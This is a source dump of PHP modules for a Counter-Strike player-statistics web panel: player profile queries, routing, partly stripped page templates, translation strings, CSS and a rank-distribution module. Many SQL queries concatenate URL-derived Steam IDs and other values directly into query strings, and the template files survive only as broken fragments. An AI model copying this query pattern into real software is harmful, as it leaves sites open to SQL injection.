$this->Db->query( 'FPS', 0, 0, "SELECT COUNT(1) AS `top` FROM (SELECT DISTINCT `points` FROM `fps_servers_stats` WHERE `points` >= " . $this->get_value() . " AND `server_id` = " . $this->found[ $this->server_group ]['server_int'] . " ) t;")['top']+1; break; } else: return []; endif; } private function get_db_exstats_weapons() { switch ( $this->found[ $this->server_group ]['DB_mod'] ) { case 'LevelsRanks': $a = $this->Db->queryAll('LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `classname`, `kills` FROM `" . $this->found[ $this->server_group ]['Table'] . "_weapons` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%'" ); $b = []; for ( $i = 0, $c = sizeof( $a ); $i < $c; $i++ ): $b += [$a[ $i ]['classname'] => $a[ $i ]['kills'] ]; endfor; return $b; break; case 'RankMeKento': return $this->Db->query('RankMeKento', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `knife` AS `weapon_knife`,`glock` AS `weapon_glock`,`hkp2000` AS `weapon_hkp2000`,`usp_silencer` AS `weapon_usp_silencer`,`p250` AS `weapon_p250`,`deagle` AS `weapon_deagle`,`elite` AS `weapon_elite`,`fiveseven` AS `weapon_fiveseven`,`tec9` AS `weapon_tec9`,`cz75a` AS `weapon_cz75a`,`revolver` AS `weapon_revolver`,`nova` AS `weapon_nova`,`xm1014` AS `weapon_xm1014`,`mag7` AS `weapon_mag7`,`sawedoff` AS `weapon_sawedoff`,`bizon` AS `weapon_bizon`,`mac10` AS `weapon_mac10`,`mp9` AS `weapon_mp9`,`mp7` AS `weapon_mp7`,`ump45` AS `weapon_ump45`,`p90` AS `weapon_p90`,`galilar` AS `weapon_galilar`,`ak47` AS `weapon_ak47`,`scar20` AS `weapon_scar20`,`famas` AS `weapon_famas`,`m4a1` AS `weapon_m4a1`,`m4a1_silencer` AS `weapon_m4a1_silencer`,`aug` AS `weapon_aug`,`ssg08` AS `weapon_ssg08`,`sg556` AS `weapon_sg556`,`awp` AS `weapon_awp`,`g3sg1` AS `weapon_g3sg1`,`m249` AS `weapon_m249`,`negev` AS `weapon_negev`,`hegrenade` AS `weapon_hegrenade`,`flashbang` AS `weapon_flashbang`,`smokegrenade` AS `weapon_smokegrenade`,`inferno` AS `weapon_inferno`,`decoy` AS `weapon_decoy`,`taser` AS `weapon_taser` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%' LIMIT 1" ); break; case 'FPS': $a = $this->Db->queryAll('FPS', 0, 0, "SELECT `fps_weapons_stats`.`weapon`, `fps_weapons_stats`.`kills` FROM `fps_weapons_stats` INNER JOIN `fps_servers_stats` ON `fps_weapons_stats`.`account_id` = `fps_servers_stats`.`account_id` WHERE `fps_weapons_stats`.`account_id` = '{$this->check_user[ $this->server_group ]['account_id']}' AND `fps_servers_stats`.`server_id` = '{$this->found[ $this->server_group ]['server_int']}' "); $b = []; for ( $i = 0, $c = sizeof( $a ); $i < $c; $i++ ): $b += [ 'weapon_' . $a[ $i ]['weapon'] => $a[ $i ]['kills'] ]; endfor; return $b; break; } } private function get_db_plugin_module_unusualkills() { switch ( $this->found[ $this->server_group ]['DB_mod'] ) { case 'LevelsRanks': return $this->Db->query('LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `OP`, `Penetrated`, `NoScope`, `Run`, `Jump`, `Flash`, Smoke, `Whirl`, `LastClip` FROM `" . $this->found[ $this->server_group ]['Table'] . "_unusualkills` WHERE `SteamID` LIKE '%" . $this->get_steam_32_short() . "%' LIMIT 1" ); break; case 'FPS': return $this->Db->query('FPS', 0, 0, "SELECT `fps_unusualkills`.`op` AS `OP`, `fps_unusualkills`.`penetrated` AS `Penetrated`, `fps_unusualkills`.`no_scope` AS `NoScope`, `fps_unusualkills`.`run` AS `Run`, `fps_unusualkills`.`jump` AS `Jump`, `fps_unusualkills`.`flash` AS `Flash`, `fps_unusualkills`.`smoke` AS `Smoke`, `fps_unusualkills`.`whirl` AS `Whirl`, `fps_unusualkills`.`last_clip` AS `LastClip` FROM `fps_unusualkills` INNER JOIN `fps_players` ON `fps_unusualkills`.`account_id` = `fps_players`.`account_id` WHERE `fps_players`.`steam_id` = '{$this->get_steam_64()}' AND `fps_unusualkills`.`server_id` = '{$this->found[ $this->server_group ]['server_int']}' LIMIT 1" ); break; } } public function get_unusualkills_op() { return (int) $this->unusualkills['OP']; } public function get_unusualkills_penetrated() { return (int) $this->unusualkills['Penetrated']; } public function get_unusualkills_noscope() { return (int) $this->unusualkills['NoScope']; } public function get_unusualkills_run() { return (int) $this->unusualkills['Run']; } public function get_unusualkills_jump() { return (int) $this->unusualkills['Jump']; } public function get_unusualkills_flash() { return (int) $this->unusualkills['Flash']; } public function get_unusualkills_smoke() { return (int) $this->unusualkills['Smoke']; } public function get_unusualkills_whirl() { return (int) $this->unusualkills['Whirl']; } public function get_unusualkills_last_clip() { return (int) $this->unusualkills['LastClip']; } private function get_db_plugin_module_hits() { switch ( $this->found[ $this->server_group ]['DB_mod'] ) { case 'LevelsRanks': $h = []; $h = $this->Db->query('LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `Head`, `Chest`, `Belly`, `LeftArm`, `RightArm`, `LeftLeg`, `RightLeg`, `Neak` FROM `" . $this->found[ $this->server_group ]['Table'] . "_hits` WHERE `SteamID` LIKE '%" . $this->get_steam_32_short() . "%' LIMIT 1" ); return $this->hits = empty( $h ) ? [] : $h + $this->hits; break; case 'RankMeKento': $h = []; $h = $this->Db->query('RankMeKento', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `head` AS `Head`, `chest` AS `Chest`, `stomach` AS `Belly`, `left_arm` AS `LeftArm`, `right_arm` AS `RightArm`, `left_leg` AS `LeftLeg`, `right_leg` AS `RightLeg` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%' LIMIT 1" ); return $this->hits = empty( $h ) ? [] : $h + $this->hits; break; case 'FPS': $h = []; $h = $this->Db->query('FPS', 0, 0, "SELECT SUM(`fps_weapons_stats`.`hits_head`) AS `Head`, SUM(`fps_weapons_stats`.`hits_neck`) AS `Neak`, SUM(`fps_weapons_stats`.`hits_chest`) AS `Chest`, SUM(`fps_weapons_stats`.`hits_stomach`) AS `Belly`, SUM(`fps_weapons_stats`.`hits_left_arm`) AS `LeftArm`, SUM(`fps_weapons_stats`.`hits_right_arm`) AS `RightArm`, SUM(`fps_weapons_stats`.`hits_left_leg`) AS `LeftLeg`, SUM(`fps_weapons_stats`.`hits_right_leg`) AS `RightLeg` FROM `fps_weapons_stats` INNER JOIN `fps_servers_stats` ON `fps_weapons_stats`.`account_id` = `fps_servers_stats`.`account_id` WHERE `fps_weapons_stats`.`account_id` = :account_id AND `fps_servers_stats`.`server_id` = :sid LIMIT 1", [ "account_id" => $this->check_user[ $this->server_group ]['account_id'], "sid" => $this->found[ $this->server_group ]['server_int'] ]); return $this->hits = empty( $h ) ? [] : $h + $this->hits; break; } } public function get_hits_all() { return (int) empty( $this->hits ) ? 0 : array_sum ( array_values ( $this->hits ) ); } public function get_hits_head() { return (int) empty( $this->hits['Head'] ) ? 0 : $this->hits['Head'] . ' (' . action_int_percent_of_all( $this->hits['Head'], $this->get_hits_all() ) . '%)'; } public function get_hits_chest() { return (int) empty( $this->hits['Chest'] ) ? 0 : $this->hits['Chest'] . ' (' . action_int_percent_of_all( $this->hits['Chest'], $this->get_hits_all() ) . '%)'; } public function get_hits_belly() { return (int) empty( $this->hits['Belly'] ) ? 0 : $this->hits['Belly'] . ' (' . action_int_percent_of_all( $this->hits['Belly'], $this->get_hits_all() ) . '%)'; } public function get_hits_leftarm() { return (int) empty( $this->hits['LeftArm'] ) ? 0 : $this->hits['LeftArm'] . ' (' . action_int_percent_of_all( $this->hits['LeftArm'], $this->get_hits_all() ) . '%)'; } public function get_hits_rightarm() { return (int) empty( $this->hits['RightArm'] ) ? 0 : $this->hits['RightArm'] . ' (' . action_int_percent_of_all( $this->hits['RightArm'], $this->get_hits_all() ) . '%)'; } public function get_hits_leftleg() { return (int) empty( $this->hits['LeftLeg'] ) ? 0 : $this->hits['LeftLeg'] . ' (' . action_int_percent_of_all( $this->hits['LeftLeg'], $this->get_hits_all() ) . '%)'; } public function get_hits_rightleg() { return (int) empty( $this->hits['RightLeg'] ) ? 0 : $this->hits['RightLeg'] . ' (' . action_int_percent_of_all( $this->hits['RightLeg'], $this->get_hits_all() ) . '%)'; } public function get_hits_neak() { return (int) empty( $this->hits['Neak'] ) ? 0 : $this->hits['Neak'] . ' (' . action_int_percent_of_all( $this->hits['Neak'], $this->get_hits_all() ) . '%)'; } private function get_db_plugin_module_maps() { $a = $this->Db->queryAll('LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `name_map`, `rounds_ct` + `rounds_t` AS `rounds_win` FROM `" . $this->found[ $this->server_group ]['Table'] . "_maps` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%'" ); $b = []; for ( $i = 0, $c = sizeof( $a ); $i < $c; $i++ ): $b += [ $a[ $i ]['name_map'] => $a[ $i ]['rounds_win'] ]; endfor; return $b; } private function get_db_maps_fps() { $maps = $this->Db->queryAll("FPS", 0, 0, " SELECT `name_map`, `rounds_ct` + `rounds_t` AS `rounds_win` FROM `fps_maps` WHERE `account_id` LIKE '%" . (con_steam64to3_int($this->get_steam_64())) . "%' AND `fps_maps`.`server_id` = '{$this->found[ $this->server_group ]['server_int']}'"); $all = []; for ( $i = 0, $c = sizeof( $maps ); $i < $c; $i++ ) $all += [ $maps[ $i ]['name_map'] => $maps[ $i ]['rounds_win'] ]; return $all; } private function get_db_plugin_module_geoip() { $a = $this->Db->query('LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `country`, `city` FROM `" . $this->found[ $this->server_group ]['Table'] . "_geoip` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%' LIMIT 1" ); return ( isset ( $a['country'] ) && isset ( $a['city'] ) ) ? $a['country'] . ', ' . $a['city'] : null; } /** * Задать статус профиля. * * @param string $text Статус. */ public function set_profile_status( $text, $color, $priority = 0) { $this->profile_status = [ 'text' => $text, 'color' => $color, 'priority' => $priority]; } /** * Получить статус профиля. * * @return array Массив со статусом. */ public function get_profile_status() { return $this->profile_status; } } ================================================ FILE: app/modules/module_page_profiles/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ use app\modules\module_page_profiles\ext\Player; $Router->map( 'GET|POST', 'profiles/[:id]/', 'profiles' ); $Router->map( 'GET|POST', 'profiles/[:id]/[i:sid]/', 'profiles' ); $Map = $Router->match(); $server_id = $Map['params']['sid'] ?? 0; $profile = $Map['params']['id']; $search = intval( $_GET['search'] ?? 0 ); empty( $Map ) && get_iframe("404", "Похоже, URL введен хреново"); // Проверка поля 'profile' на пустоту. empty( $profile ) && get_iframe( '009', 'Данная страница не существует' ); // Создаём экземпляр класса с импортом подкласса Db и указанием Steam ID игрока. $Player = new Player ( $General, $Db, $Modules, $profile, $server_id, $search ); // Задаём заголовок страницы. $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Player->found[ $Player->server_group ]['name_servers'] . ' :: ' . $Translate->get_translate_phrase('_Player') . ' :: ' . $Player->get_name() ); // Задаём описание страницы. $Modules->set_page_description( $General->arr_general['short_name'] . " :: " . $Player->found[ $Player->server_group ]['name_servers'] . " :: Steam ID :: " . get_section( 'profile', false ) . " :: Ранг - " . $Translate->get_translate_phrase( $Player->get_rank(), 'ranks_' . $Player->found[ $Player->server_group ]['ranks_pack'] ) . " :: Количество очков - " . $Player->get_value() ); // Задаём изображение страницы. $Modules->set_page_image( $General->getAvatar( con_steam32to64( $Player->get_steam_32() ), 1 ) ); // Основной статус игрока $Player->set_profile_status( $Translate->get_translate_phrase('_Player'), 'var(--span-color)' ); ================================================ FILE: app/modules/module_page_profiles/forward/interface.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ /* * In your head, in your head * Zombie, zombie, zombie * What's in your head, in your head * Zombie, zombie, zombie? */ ?>
    translate( 'module_page_profiles','_Player_profile')?> :: get_name(),16 ) )?>
    get_js_relevance_avatar( $Player->get_steam_32(), 1 )?>
    get_name(), 17 ) )?>
    found[ $Player->server_group ]['DB_mod'] != 'RankMeKento' ):?>
    get_translate_phrase( $Player->get_rank(), 'ranks_' . $Player->found[ $Player->server_group ]['ranks_pack'] )?>
    geo; ?>
    get_profile_status()['text']?>
    • get_icon('custom', $Player->top_weapons[ $i ]['name'], 'weapons')?>
      top_weapons[ $i ]['kills']?>
    weapons ) ? [] : array_keys( $Player->weapons ); for ( $w = 0, $_c = count( $Player->weapons ); $w < $_c; $w++ ) {?>
    translate( 'module_page_profiles','_Weapon')?> get_translate_phrase('_Kills')?>
    get_icon( 'custom', $weapon_names[ $w ], 'weapons' )?> weapons[ $weapon_names[ $w ] ] ?> kills
    • translate( 'module_page_profiles','_Total_winning_percentage')?>
    • translate( 'module_page_profiles','_Ratio_KD')?>
    • translate( 'module_page_profiles','_Ratio_SH')?>
    • translate( 'module_page_profiles','_Game_time')?>
    • get_translate_phrase('_Headshot')?>:
    • translate( 'module_page_profiles','_Last_connect')?>:
    • get_percent_win()?>
    • get_kd()?>
    • get_percent_hits()?>
    • get_playtime()?> get_translate_phrase('_Hour')?>
    • get_percent_headshots()?>
    • get_lastconnect()?>
    1
    maps )[0]; ?>
    - get_icon( 'custom', 'cup', 'global' )?>
    maps ) ? [] : array_keys( $Player->maps ); for ( $w = 0, $_c = count( $Player->maps ); $w < $_c; $w++ ) {?>
    get_translate_phrase('_Map')?> get_translate_phrase('_Wins')?>
    maps[ $maps_names[ $w ] ]; ?>
    unusualkills) ): ?>
    unusualkills) ? [] : array_keys($Player->unusualkills); for($u = 0, $left_c = 0, $_c = sizeof( $Player->unusualkills ); $u != $_c; $u++, $left_c--): if( $Player->unusualkills[$uk_names[$u]] != 0 ): ?>
    unusualkills[$uk_names[$u]]; ?>
    translate('module_page_profiles', $Player->msettings[$uk_names[$u]]['phrase']); ?>
    unusualkills[$uk_names[$u]] / $Player->get_kills() * 100.0, 2); ?>%
    top_with_player ) ): ?>
    found[ $Player->server_group ]['DB_mod'] != 'RankMeKento' ):?> top_position > 6); $ti < $sizelist; $ti++ ): if( empty( $Player->top_with_player[ $ti ] ) ) continue; ?> found[ $Player->server_group ]['DB_mod'] != 'RankMeKento' ):?>
    get_translate_phrase('_Rating')?> get_translate_phrase('_Player')?> get_translate_phrase('_Point')?> get_translate_phrase('_Rank')?>
    top_with_player['countdown_from']++?> top_with_player[ $ti ]['name'] ) ? $General->checkName( $Player->top_with_player[ $ti ]['steam'] ) : action_text_trim( $Player->top_with_player[ $ti ]['name'],16 )?> top_with_player[ $ti ]['value'] ) ? 0 : $Player->top_with_player[ $ti ]['value']?>
    ================================================ FILE: app/modules/module_page_profiles/translation.json ================================================ { "_Ratio_KD": { "DE": "K/D Verhältnis:", "EN": "K/D Ratio:", "RU": "Убийств / Смертей - К/Д:", "UA": "Вбивств / Смертей - К/Д:", "LT": "Nužydymų / Mirčių - N/M:", "CH": "K/D 比:", "CRO": "U/S Odnos", "RS": "U/S Odnos", "BA": "U/S Odnos" }, "_Ratio_SH": { "DE": "Schüsse / Treffer:", "EN": "Shoots / Hits:", "RU": "Попаданий / Выстрелов:", "UA": "Влучень / Пострілів:", "LT": "Šūvių / Pataikymų:", "CH": "射击次数 / 击中次数:", "CRO": "Pucanja / Pogodaka", "RS": "Pucanja / Pogodaka", "BA": "Pucanja / Pogodaka" }, "unusualkills_phrases": { "OP": "_First_round_kills", "Penetrated": "_Penetrated_kills", "NoScope": "_Killing_without_scope", "Run": "_Kills_on_run", "Jump": "_Jump_kills", "Flash": "_Kills_flash", "Smoke": "_Smoke_kills", "Whirl": "_Kills_whirl", "LastClip": "_Kills_last_shoot" }, "unusualkills_icons": { "OP": "fire", "Penetrated": "play-for-work", "NoScope": "circle-o", "Run": "run", "Jump": "eye-off", "Flash": "row-right-top", "Smoke": "cloud-outline-alt", "Whirl": "refresh-alt", "LastClip": "repeat-one" }, "_Game_time": { "DE": "Spielzeit", "EN": "Playtime:", "BR": "Tempo de Jogo:", "RU": "Игровое время:", "UA": "ігровий час:", "LT": "Pražaistas laikas:", "CH": "游玩时间:", "CRO": "Vrijeme igranja", "RS": "Vreme igranja", "BA": "Vrijeme igranja" }, "_First_round_kills": { "DE": "Erstes Blut", "EN": "First Blood", "RU": "Первых убийств", "UA": "Перших вбивств", "LT": "Pirmas kraujas", "CH": "首杀:", "CRO": "Prvih ubojstava", "RS": "Prvih ubistava", "BA": "Prvih ubistava" }, "_Favorite_weapons": { "DE": "Lieblingswaffen:", "EN": "Favorite Weapons:", "BR": "Armas Favoritas:", "RU": "Любимое оружие:", "UA": "Улюблена зброя:", "LT": "Mėgstamiausi ginklai", "CH": "最爱使用的武器:", "CRO": "Omiljeno oružije", "RS": "Omiljeno oružije", "BA": "Omiljeno oružije" }, "_Kill count": { "DE": "Die Anzahl der Kills:", "EN": "Nº of Kills:", "BR": "Nº de Kills:", "RU": "Количество убийств:", "UA": "Кількість вбивств:", "LT": "Nužudymų skaičius:", "CH": "击杀数:", "CRO": "Broj ubojstava", "RS": "Broj ubistava", "BA": "Broj ubistava" }, "_Matches": { "DE": "Spiele:", "EN": "Matches:", "BR": "Matches:", "RU": "Матчей:", "UA": "Матчів:", "LT": "Mačų:", "CH": "比赛数:", "CRO": "Mečeva", "RS": "Mečeva", "BA": "Mečeva" }, "_Winning_percentage": { "DE": "Gewinnrate", "EN": "Win Rate", "RU": "Побед %", "UA": "Перемог %", "LT": "Laimėjimų %", "CH": "胜率", "CRO": "Odnos Pobjeda", "RS": "Odnos Pobeda", "BA": "Odnos Pobjeda" }, "_Triple_Kills": { "DE": "Dreifacher Kill:", "EN": "Triple Kills:", "RU": "Трипл-киллов:", "UA": "Три вбивства:", "LT": "Trigubi nužudymai:", "CH": "三杀:", "CRO": "Trostrukih ubojstava", "RS": "Trostrukih ubistava", "BA": "Trostrukih ubistava" }, "_Quad_kills": { "DE": "Vierfacher Kill:", "EN": "Quad Kills:", "RU": "Квадро-киллов:", "UA": "Чотири вбивства:", "LT": "Keturgubi nužudymai:", "CH": "四杀:", "CRO": "Četverostrukih ubojstava", "RS": "Četverostrukih ubistava", "BA": "Četverostrukih ubistava" }, "_Ace": { "DE": "Ace", "EN": "Ace:", "RU": "Эйсов:", "UA": "Ace:", "LT": "Ace:", "CH": "五杀:", "CRO": "Ace", "RS": "Ace", "BA": "Ace" }, "_Value_rank": { "DE": "Gesamtpunktzahl / Rang:", "EN": "Total Points / Rank:", "BR": "Total de Pontos / Rank:", "RU": "Количество очков / ранг:", "UA": "Кількість поінтів / звання:", "LT": "Išviso taškų / Rangas", "CH": "总分数 / 段位:", "CRO": "Ukupno Poena", "RS": "Ukupno Poena", "BA": "Ukupno Poena" }, "_Total_winning_percentage": { "DE": "Gesamtprozentsatz der Gewinne:", "EN": "Winnings Percentage:", "RU": "Общий процент побед:", "UA": "Загальний відсоток перемог:", "LT": "Laimėjimai procentais %:", "CH": "总胜率:", "CRO": "Pobjednički procenat", "RS": "Pobednički procenat", "BA": "Pobjednički procenat" }, "_Weapon": { "DE": "Waffe", "EN": "Weapon", "RU": "Оружие", "UA": "Зброя", "LT": "Ginklas", "CH": "武器:", "CRO": "Oružije", "RS": "Oružije", "BA": "Oružije" }, "_Player_profile": { "DE": "Spielerprofil", "EN": "Player Profile", "BR": "Perfil do Player", "RU": "Профиль игрока", "UA": "Сторінка гравця", "LT": "Žaidėjo profilis", "CH": "玩家个人资料:", "CRO": "Profil Igrača", "RS": "Profil Igrača", "BA": "Profil Igrača" }, "_Penetrated_kills": { "DE": "Durchdrungene Kills", "EN": "Penetrated Kills", "RU": "Убийств прострелом", "UA": "Вбивств прострілом", "LT": "Nužudymai per sieną", "CH": "穿透击杀:", "CRO": "Prodorna Ubojstva", "RS": "Prodorna Ubistva", "BA": "Prodorna Ubistva" }, "_Killing_without_scope": { "DE": "ohne Visier getötet", "EN": "No-Scope Kills", "RU": "Убийств без прицела", "UA": "Вбивств без прицілу", "LT": "Nužudymai be taikiklio", "CH": "盲狙:", "CRO": "Ubojstva bez optičkog nišana", "RS": "Ubistava bez optičkog nišana", "BA": "Ubistava bez optičkog nišana" }, "_Kills_on_run": { "DE": "Während des Laufens getötet", "EN": "While Running Kills", "RU": "Убийств на бегу", "UA": "Вбивств на бігу", "LT": "Nužudymai bėgant", "CH": "跑打击杀:", "CRO": "Ubojstva u hodu", "RS": "Ubistva u hodu", "BA": "Ubistva u hodu" }, "_Kills_flash": { "DE": "Getötet durch Blendgranate", "EN": "While Flashed Kills", "RU": "Убийств слепым", "UA": "Вбивств сліпим", "LT": "Nužydymai esant apakus", "CH": "致盲击杀:", "CRO": "Ubojstva oslepljen", "RS": "Ubistva oslepljen", "BA": "Ubistva oslepljen" }, "_Jump_kills": { "DE": "im Sprung getötet", "EN": "Jump Kills", "RU": "Убийств в прыжке", "UA": "Вбивств в стрибку", "LT": "Nužudymai Ore", "CH": "空中击杀:", "CRO": "Ubojstva u skoku", "RS": "Ubistava u skoku", "BA": "Ubistava u skoku" }, "_Smoke_kills": { "DE": "Getötet durch Rauchwolke", "EN": "Smoke Kills", "RU": "Убийств в дым", "UA": "Вбивств в дим", "LT": "Nužudymai naudojant duminę g.", "CH": "穿烟击杀:", "CRO": "Ubojstva u dimnoj", "RS": "Ubistava u dimnoj", "BA": "Ubistava u dimnoj" }, "_Kills_whirl": { "DE": "Getötet in der Drehung", "EN": "180º-360º Kills", "RU": "Убийств с разворота", "UA": "Вбивств з розвороту", "LT": "Nužudymai 180-360°", "CH": "大幅度转头击杀:", "CRO": "180-360° Ubojstva", "RS": "180-360° Ubistva", "BA": "180-360° Ubistva" }, "_Kills_last_shoot": { "EN": "Last Clip Kills", "RU": "Убийств последним патроном", "UA": "Вбивств останнім патроном" }, "_Last_connect": { "EN": "Last Connect", "BR": "Última Conexão:", "RU": "Последняя игра", "UA": "Останнє підключення", "CRO": "Posljednja konekcija", "RS": "Poslednja konekcija", "BA": "Poslednja konekcija" }, "_Head": { "EN": "Head", "RU": "Голова", "UA": "Голова", "CRO": "Glava", "RS": "Glava", "BA": "Glava" }, "_Neak": { "EN": "Neak", "RU": "Шея", "UA": "Шия", "CRO": "Vrat", "RS": "Vrat", "BA": "Vrat" }, "_Light_arm": { "EN": "Light Arm", "RU": "Левая рука", "UA": "Ліва рука", "CRO": "Lijeva ruka", "RS": "Leva ruka", "BA": "Lijeva ruka" }, "_Right_arm": { "EN": "Right Arm", "RU": "Правая рука", "UA": "Права рука", "CRO": "Desna Ruka", "RS": "Desna Ruka", "BA": "Desna Ruka" }, "_Left_leg": { "EN": "Left Leg", "RU": "Левая нога", "UA": "Ліва нога", "CRO": "Lijeva noga", "RS": "Leva noga", "BA": "Lijeva noga" }, "_Right_leg": { "EN": "Right Leg", "RU": "Правая нога", "UA": "Права нога", "CRO": "Desna noga", "RS": "Desna noga", "BA": "Desna noga" }, "_Belly": { "EN": "Belly", "RU": "Живот", "UA": "Живіт", "CRO": "Trbuh", "RS": "Trbuh", "BA": "Trbuh" }, "_Chest": { "EN": "Chest", "RU": "Грудь", "UA": "Груди", "CRO": "Prsa", "RS": "Prsa", "BA": "Prsa" } } ================================================ FILE: app/modules/module_page_rankstats/assets/css/1.css ================================================ .container-ranks { width: 100%; height: 100%; margin-left: 15px; } .row-rank { height: 45px; margin-bottom: 5px; } .row-rank .rank img { max-height: 35px; } .row-rank .line .i { background: rgba(var(--server-graph-rgba)); background-size: 5rem 5rem; background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); height: 28px; max-width: 100%; border-radius: 4px; } .row-rank .line .value { font-size: 19px; font-weight: 600; color: var(--default-text-color); margin-top: -28px; margin-left: 20px; } @media (max-width: 767.98px) { .row-rank .rank { width: 3%; float: left; margin-right: 70px; } .row-rank .line { font-size: 18px; display: inline-block; font-weight: 400; width: 69%; background-color: var(--hover); border-radius: 4px; line-height: 30px; height: 28px } } @media (min-width: 768px) and (max-width: 991.98px) { .row-rank .rank { width: 3%; float: left; margin-right: 58px; } .row-rank .line { font-size: 18px; display: inline-block; font-weight: 400; width: 84%; background-color: var(--hover); border-radius: 4px; line-height: 30px; height: 28px } } @media (min-width: 992px) and (max-width: 1199.98px) { .row-rank .rank { width: 3%; float: left; margin-right: 55px; } .row-rank .line { font-size: 18px; display: inline-block; font-weight: 400; width: 87%; background-color: var(--hover); border-radius: 4px; line-height: 30px; height: 28px } } @media (min-width: 1200px) and (max-width: 1499.98px) { .row-rank .rank { width: 3%; float: left; margin-right: 55px; } .row-rank .line { font-size: 18px; display: inline-block; font-weight: 400; width: 88%; background-color: var(--hover); border-radius: 4px; line-height: 30px; height: 28px } } @media (min-width: 1500px) { .row-rank .rank { width: 3%; float: left; margin-right: 35px; } .row-rank .line { font-size: 18px; display: inline-block; font-weight: 400; width: 93%; background-color: var(--hover); border-radius: 4px; line-height: 30px; height: 28px } } ================================================ FILE: app/modules/module_page_rankstats/description.json ================================================ { "title": "LR WEB | Rank Distribution Stats", "info": "Rank distribution statistics", "author": "M0st1ce & steamcommunity.com/id/DesignedRay/", "page": "rankstats", "version": "0.2", "required": { "core":"0.2","php":"5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "interface": 1, "interface_adjacent": "afternavbar", "data": 1, "css": 1, "cache_enable": 1, "cache_time": 86400 }, "sidebar": { "0": { "href": "?page=rankstats", "open_new_tab": "0", "icon_group": "zmdi", "icon_category": "", "icon": "flag", "name": "_Rank_distribution", "sidebar_directory": "_Sidebar_statistics" } } } ================================================ FILE: app/modules/module_page_rankstats/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ // Получаем кэша данного модуля. $data['module_page_rankstats'] = $Modules->get_module_cache('module_page_rankstats'); $server_group = (int) intval ( get_section( 'server_group', '0' ) ); // Проверяем актуальность кэша. if ( ( empty( $data['module_page_rankstats'] ) ) || ( time() > $data['module_page_rankstats']['time'] ) ): // Затираем страные данные которые могут помешать созданию кэша. unset( $data['module_page_rankstats']['data'] ); // Сохраняем текущее время и прибавляем к нему 1 час. $data['module_page_rankstats']['time'] = time() + $Modules->array_modules['module_page_rankstats']['setting']['cache_time']; // Проверка на подключенный мод - Levels Ranks if ( ! empty( $Db->db_data['LevelsRanks'] ) ): // Циклом подключаемся к базам данных и сохраняем информацию для нашего кэша. for ( $d = 0; $d < $Db->table_count['LevelsRanks']; $d++ ): $data['module_page_rankstats']['data'][] = $Db->queryAll('LevelsRanks', $Db->db_data['LevelsRanks'][$d]['USER_ID'], $Db->db_data['LevelsRanks'][ $d ]['DB_num'], "SELECT `rank`, COUNT(`rank`) * 100.0 / ((SELECT COUNT(`rank`) FROM `{$Db->db_data['LevelsRanks'][ $d ]['Table']}`) * 1.0) AS `Percent` FROM `{$Db->db_data['LevelsRanks'][ $d ]['Table']}` GROUP BY `rank`" ); endfor; endif; // Проверка на подключенный мод - FPS if ( ! empty( $Db->db_data['FPS'] ) ): for ($d = 1; $d <= $Db->table_count['FPS']; $d++ ): $data['module_page_rankstats']['data'][] = $Db->queryAll( 'FPS', 0, 0, "SELECT `rank`, COUNT(`rank`) * 100.0 / ((SELECT COUNT(`rank`) FROM `fps_servers_stats` WHERE `fps_servers_stats`.`server_id` = '{$d}') * 1.0) AS `Percent` FROM `fps_servers_stats` WHERE `fps_servers_stats`.`server_id` = '{$d}' GROUP BY `rank`" ); endfor; endif; // Сохраняем новый кэш для данного модуля. $Modules->set_module_cache( 'module_page_rankstats', $data['module_page_rankstats'] ); endif; if( $server_group > $Db->table_statistics_count - 1 || $server_group < 0 ): header( 'Location: ' . $General->arr_general['site'] ); die(); endif; // Задаём заголовок страницы. $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Rank_stats') . ' :: ' . $Db->statistics_table[ $server_group ]['name'] ); // Задаём описание страницы. $Modules->set_page_description( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Rank_stats') . ' :: ' . $Db->statistics_table[ $server_group ]['name'] ); ================================================ FILE: app/modules/module_page_rankstats/forward/interface.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ /** * A-a-aye, I'm on vacation * Every single day cause I love my occupation * A-a-aye, I'm on vacation * If you don't like your life, then you should go and change it */ ?>
    get_translate_phrase('_Rank_stats') ?>
    %
